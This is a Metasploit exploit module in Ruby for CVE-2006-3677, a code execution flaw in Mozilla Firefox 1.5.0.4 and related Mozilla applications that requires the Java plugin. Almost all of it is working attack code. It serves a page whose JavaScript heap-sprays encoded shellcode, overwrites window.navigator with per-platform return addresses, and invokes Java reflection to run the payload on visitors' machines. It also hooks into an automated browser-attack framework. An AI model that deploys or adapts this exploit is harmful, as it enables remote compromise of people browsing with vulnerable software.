This Metasploit module exploits a code execution vulnerability in the Mozilla Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit requires the Java plugin to be installed.
caa5d6f2c25885cd4fffdb12407195b2e4d778c8692372a40b3bbd7e922eccbb##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core/constants'
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::FF,
:javascript => true,
:rank => NormalRanking, # reliable memory corruption
:vuln_test => %Q|
is_vuln = false;
if (window.navigator.javaEnabled && window.navigator.javaEnabled()){
is_vuln = true;
}
|,
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Mozilla Suite/Firefox Navigator Object Code Execution',
'Description' => %q{
This module exploits a code execution vulnerability in the Mozilla
Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
requires the Java plugin to be installed.
},
'License' => MSF_LICENSE,
'Author' => ['hdm'],
'Version' => '$Revision$',
'References' =>
[
['CVE', '2006-3677'],
['OSVDB', '27559'],
['BID', '19192'],
['URL', 'http://www.mozilla.org/security/announce/mfsa2006-45.html'],
['URL', 'http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html'],
],
'Payload' =>
{
'Space' => 512,
'BadChars' => "",
},
'Targets' =>
[
[ 'Firefox 1.5.0.4 Windows x86',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Ret' => 0x08000800,
'Fill' => "%u0800",
}
],
[ 'Firefox 1.5.0.4 Linux x86',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Ret' => -0x58000000,
'Fill' => "%ua8a8",
}
],
[ 'Firefox 1.5.0.4 Mac OS X PPC',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
'Ret' => 0x0c000000,
'Fill' => "%u0c0c",
}
],
[ 'Firefox 1.5.0.4 Mac OS X x86',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
'Ret' => 0x1c000000,
'Fill' => "%u1c1c",
}
],
],
'DisclosureDate' => 'Jul 25 2006'
))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
def generate_html(payload)
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
return %Q|
<html><head>
<script>
function Exploit() {
if (window.navigator.javaEnabled) {
var shellcode = unescape("#{enc_code}");
var b = unescape("#{target['Fill']}");
while (b.length <= 0x400000) b+=b;
var c = new Array();
for (var i =0; i<36; i++) {
c[i] =
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode;
}
window.navigator = (#{target['Ret']} / 2);
try {
java.lang.reflect.Runtime.newInstance(
java.lang.Class.forName("java.lang.Runtime"), 0
);
}catch(e){
}
}
}
</script>
</head><body onload='Exploit()'>Please wait...</body></html>
|
end
end
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